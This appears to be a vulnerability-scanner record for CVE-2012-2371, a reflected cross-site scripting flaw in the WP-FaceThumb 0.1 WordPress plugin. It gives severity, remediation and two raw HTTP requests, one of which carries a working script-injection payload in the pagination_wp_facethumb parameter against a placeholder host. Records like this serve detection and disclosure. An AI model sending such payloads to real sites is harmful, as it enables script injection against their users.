| Title | WP-FaceThumb 0.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.04956 |
| CVE ID | CVE-2012-2371 |
| CWE ID | CWE-79 |
| Tags | cve cve2012 packetstorm wordpress xss wp-plugin mnt-tech vuln |
A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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